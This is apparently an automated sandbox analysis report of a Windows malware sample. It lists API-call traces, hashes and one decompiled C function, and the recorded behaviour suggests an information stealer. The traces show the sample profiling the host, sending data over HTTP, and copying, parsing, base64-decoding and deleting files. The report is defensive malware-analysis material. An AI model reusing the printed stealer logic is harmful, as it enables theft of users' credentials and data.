Part of subcall function 0068B490: RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00685CA8), ref: 0068B4CB
Part of subcall function 0068B490: RegQueryValueExA.ADVAPI32(00685CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0068B4EC
Part of subcall function 0068B490: RegCloseKey.ADVAPI32(00685CA8), ref: 0068B4F6

lstrcat.KERNEL32(?,00000000), ref: 00685CAD
lstrcat.KERNEL32(?,00418BC4), ref: 00685CBC
lstrcat.KERNEL32(?,0041A074), ref: 00685CCD

Part of subcall function 0068B510: GetCurrentHwProfileA.ADVAPI32(?), ref: 0068B51D
Part of subcall function 0068B510: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0068B52B
Part of subcall function 0068B510: RtlAllocateHeap.NTDLL(00000000), ref: 0068B532
Part of subcall function 0068B510: memset.NTDLL ref: 0068B549
Part of subcall function 0068B510: lstrcat.KERNEL32(?,?), ref: 0068B55A

lstrcat.KERNEL32(?,00000000), ref: 00685CDD
lstrcat.KERNEL32(?,00418BC0), ref: 00685CEC
lstrcat.KERNEL32(?,(V~), ref: 00685CFD
lstrcat.KERNEL32(?,00418BC4), ref: 00685D0C
lstrlen.KERNEL32(?), ref: 00685D22

Strings

hB~, xrefs: 0068595B, 00685961
hW~, xrefs: 0068599B, 006859A1
(V~, xrefs: 00685CF2, 00685CF8
hU~, xrefs: 00685A84, 00685A89
V~, xrefs: 00685BD4, 00685BDA

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$wsprintf$CloseNameOpen$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: (V~$hB~$hU~$hW~$V~
API String ID: 874587921-3758446443
Opcode ID: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction ID: c15500f2e6e4364eea51f14705b69d1706000aeac232343a15fa22831fd726e7
Opcode Fuzzy Hash: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction Fuzzy Hash: 7AC11CBA611504FFCB00EBE4DF89D9E77F9AF4C3457208559B205D3661CB38AA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00684E30, Relevance: 100.1, APIs: 56, Strings: 1, Instructions: 371stringnetworkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00684E7A
RtlAllocateHeap.NTDLL(00000000), ref: 00684E81
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00684EA8
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00684ECA
StrCmpCA.SHLWAPI(?,00418B90), ref: 00684EED
lstrcat.KERNEL32(?,00000000), ref: 00684F20
lstrcat.KERNEL32(?,00418B9C), ref: 00684F32
lstrcat.KERNEL32(?,00418BA0), ref: 00684F44
lstrcat.KERNEL32(?,?), ref: 00684F58
lstrcat.KERNEL32(?,00418BA8), ref: 00684F6A
lstrcat.KERNEL32(?,00418B9C), ref: 00684F7C
lstrcat.KERNEL32(?,0041A1BC), ref: 00684F90
lstrcat.KERNEL32(?,?), ref: 00684FA4
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00684FCD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00684FF2
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00C00100,00000000), ref: 00685037
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00400100,00000000), ref: 00685069
lstrcat.KERNEL32(?,00418BA0), ref: 0068508E
lstrcat.KERNEL32(?,?), ref: 006850A2
lstrcat.KERNEL32(?,00418B9C), ref: 006850B4
lstrcat.KERNEL32(?,0041A2CC), ref: 006850C8
lstrcat.KERNEL32(?,0041A058), ref: 006850DB
lstrcat.KERNEL32(?,00418BAC), ref: 006850ED
lstrcat.KERNEL32(?,?), ref: 006850FE
lstrcat.KERNEL32(?,00418B9C), ref: 00685110
lstrcat.KERNEL32(?,00418BA0), ref: 00685122
lstrcat.KERNEL32(?,?), ref: 00685136
lstrcat.KERNEL32(?,00418B9C), ref: 00685148
lstrcat.KERNEL32(?,0F~), ref: 0068515C
lstrcat.KERNEL32(?,?), ref: 0068516D
lstrcat.KERNEL32(?,00418BB4), ref: 0068517F
lstrcat.KERNEL32(?,0041A038), ref: 00685192
lstrcat.KERNEL32(?,00418B9C), ref: 006851A4
lstrcat.KERNEL32(?,0041A538), ref: 006851B7
lstrcat.KERNEL32(?,00418BB8), ref: 006851C9
lstrlen.KERNEL32(?), ref: 006851D6
lstrlen.KERNEL32(?), ref: 006851E8
GetProcessHeap.KERNEL32(00000000,?), ref: 006851FF
RtlAllocateHeap.NTDLL(00000000), ref: 00685206
lstrlen.KERNEL32(?), ref: 00685219
memcpy.NTDLL(?,?,00000000), ref: 0068522E
lstrlen.KERNEL32(?,?,?), ref: 00685243
memcpy.NTDLL(?), ref: 00685250
lstrlen.KERNEL32(?), ref: 0068525D
lstrlen.KERNEL32(?,?,00000000), ref: 00685272
memcpy.NTDLL(?), ref: 00685282
lstrlen.KERNEL32(?,?,?), ref: 006852C1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 006852D6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 006852F5
StrCmpCA.SHLWAPI(?,00418B8C), ref: 0068530B
Sleep.KERNEL32(00007530), ref: 0068531C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0068536D
lstrcat.KERNEL32(?,00000000), ref: 006853A9
InternetCloseHandle.WININET(?), ref: 006853B8
InternetCloseHandle.WININET(?), ref: 006853C5
InternetCloseHandle.WININET(00000000), ref: 006853D2

Strings

0F~, xrefs: 0068514E, 00685154

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: 0F~
API String ID: 3074752877-3400828986
Opcode ID: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction ID: 36510d32ca5235ba2661efb5c5d0c0615163d17be3b2620b6acbfcc6c54697b7
Opcode Fuzzy Hash: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction Fuzzy Hash: 27F196B5A41218AFCB20DFA0DD48FDA7779BF48704F0085D9F209A7181DB74AAA4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x7fad98
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x7fae58
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x7fae58
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x7fae70
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x7f9fb8
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x7fa0a8
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x7fa0c8
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x7fb6b0
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x7fb6b0
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x7fb470
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x7f9ff8
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x7fb470
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x7fb470
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x7fa1d8
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x7fa0d8
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,007F98E0), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,007FAD98), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,007FAE58), ref: 004091A9
lstrlen.KERNEL32(007FAE58), ref: 004091C9
StrStrA.SHLWAPI(00000000,007FAE70), ref: 004091ED
lstrcat.KERNEL32(00000000,007F9FB8), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,007FA0A8), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,007FA0C8), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,007FB6B0), ref: 004092BA
lstrlen.KERNEL32(007FB6B0), ref: 004092C8
StrStrA.SHLWAPI(00000000,007FB470), ref: 004092E6
lstrcat.KERNEL32(00000000,007F9FF8), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,007FB470), ref: 00409350
lstrlen.KERNEL32(007FB470), ref: 0040935E
StrStrA.SHLWAPI(00000000,007FA1D8), ref: 0040937C
lstrcat.KERNEL32(00000000,007FA0D8), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

, xrefs: 0040908F

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006892B0, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236stringfileCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A0C4), ref: 00689305
lstrcat.KERNEL32(?,00414018), ref: 00689317
lstrcat.KERNEL32(?,0041A7E4), ref: 0068932B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0068935B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00689381
GetFileSize.KERNEL32(00000000,00000000), ref: 00689390
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 006893A9
new[].LIBCMTD ref: 006893B9
ReadFile.KERNEL32(00000000,?,00000000,0041ABA8,00000000), ref: 006893E8
StrStrA.SHLWAPI(?,0041A170), ref: 006893F9
lstrlen.KERNEL32(0041A170), ref: 00689419
StrStrA.SHLWAPI(00000000,0041A3B0), ref: 0068943D
lstrcat.KERNEL32(0041A838,0041A334), ref: 00689463
lstrcat.KERNEL32(0041A838,?), ref: 00689474
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00689486
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00689499
lstrcat.KERNEL32(0041A838,00000020), ref: 006894A9
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006894BB
lstrcat.KERNEL32(0041A838,0041A144), ref: 006894CE
lstrcat.KERNEL32(0041A838,00000000), ref: 006894E2
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006894F3
StrStrA.SHLWAPI(?,0041A5B8), ref: 0068950A
lstrlen.KERNEL32(0041A5B8), ref: 00689518
StrStrA.SHLWAPI(00000000,0041A5B4), ref: 00689536
lstrcat.KERNEL32(0041A838,0041A06C), ref: 0068955B

Part of subcall function 006879F0: lstrlen.KERNEL32(0068956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00687A3B
Part of subcall function 006879F0: CryptStringToBinaryA.CRYPT32(0068956D,00000000), ref: 00687A46

lstrcat.KERNEL32(0041A838,00000000), ref: 00689578
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00689589
StrStrA.SHLWAPI(?,0041A5B4), ref: 006895A0
lstrlen.KERNEL32(0041A5B4), ref: 006895AE
StrStrA.SHLWAPI(00000000,0041A70C), ref: 006895CC
lstrcat.KERNEL32(0041A838,0041A14C), ref: 006895F1

Part of subcall function 006879F0: lstrcat.KERNEL32(?,0041401A), ref: 00687B09
Part of subcall function 006879F0: lstrcat.KERNEL32(?,0041401A), ref: 00687B1D
Part of subcall function 006879F0: lstrcat.KERNEL32(0041401A,0041401A), ref: 00687B3E

lstrcat.KERNEL32(0041A838,00000000), ref: 0068960E
lstrcat.KERNEL32(0041A838,00418BC0), ref: 0068961F
CloseHandle.KERNEL32(00000000), ref: 0068963D

Strings

, xrefs: 006892DF

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction ID: de0c0dc16a28396fd93a54cb633e2d7d79cd7f6bca5a270d539c647e537d1aa5
Opcode Fuzzy Hash: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction Fuzzy Hash: 3CA119B5A11204AFCB15EBA4ED88FDA77F9EB4C300F00C5A9F60993251C734A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,007FA218), ref: 00407EF9
lstrcat.KERNEL32(?,007FA308), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,007FA218), ref: 00407F58
lstrcat.KERNEL32(?,007FA308), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Strings

}, xrefs: 00407DFC

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID: }
API String ID: 3067815791-1418613170
Opcode ID: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00687FA0, Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00687FB5
lstrcat.KERNEL32(?,00414018), ref: 00687FC7

Part of subcall function 0068BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0068BB21

lstrcat.KERNEL32(?,00000000), ref: 00687FDF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00687FF2
wsprintfA.USER32 ref: 0068801F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0068806F
RtlAllocateHeap.NTDLL(00000000), ref: 00688076
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00688122
lstrcat.KERNEL32(?,0041A48C), ref: 00688149
lstrcat.KERNEL32(?,0041A15C), ref: 0068816E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00688180
lstrcat.KERNEL32(?,0041A48C), ref: 006881A8
lstrcat.KERNEL32(?,0041A15C), ref: 006881CE

Part of subcall function 00687480: memset.MSVCRT ref: 006874D2
Part of subcall function 00687480: LocalAlloc.KERNEL32(00000040,?), ref: 00687521
Part of subcall function 00687480: lstrcat.KERNEL32(?,00000000), ref: 00687587

lstrcat.KERNEL32(?,00418BE0), ref: 006881FE
lstrcat.KERNEL32(?,?), ref: 00688212
lstrcat.KERNEL32(?,004191EC), ref: 00688224
lstrcat.KERNEL32(?,?), ref: 00688238
lstrcat.KERNEL32(?,004191EC), ref: 0068824A
lstrcat.KERNEL32(?,?), ref: 0068825E
lstrcat.KERNEL32(?,004191EC), ref: 00688270
lstrcat.KERNEL32(?,?), ref: 00688284
lstrcat.KERNEL32(?,004191EC), ref: 00688296
lstrcat.KERNEL32(?,?), ref: 006882AA
lstrcat.KERNEL32(?,004191EC), ref: 006882BC
lstrcat.KERNEL32(?,?), ref: 006882D0
lstrcat.KERNEL32(?,004191EC), ref: 006882E2
lstrcat.KERNEL32(?,00000000), ref: 00688320
lstrcat.KERNEL32(?,00418BC4), ref: 00688332
lstrlen.KERNEL32(?), ref: 00688344
DeleteFileA.KERNEL32(?), ref: 00688394

Strings

}, xrefs: 0068804C, 00688052

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID: }
API String ID: 3067815791-1418613170
Opcode ID: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction ID: cd865c5dd472183a0b9bb3ada996f8347b05c5eee4c9c7c6453cd38265de66df
Opcode Fuzzy Hash: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction Fuzzy Hash: 8BB195B5A51208BBCB10EBA4DD8DFEA77B9AF4C704F008598F20597151CB34EAA1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 43.8, APIs: 29, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(007FA600), ref: 00406CAA

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: LibraryLoadVersion
String ID:
API String ID: 3209957514-0
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,007FA218), ref: 00408DEA
lstrcat.KERNEL32(?,007FA308), ref: 00408E10
lstrcat.KERNEL32(?,007FA218), ref: 00408EC8
lstrcat.KERNEL32(?,007FA308), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
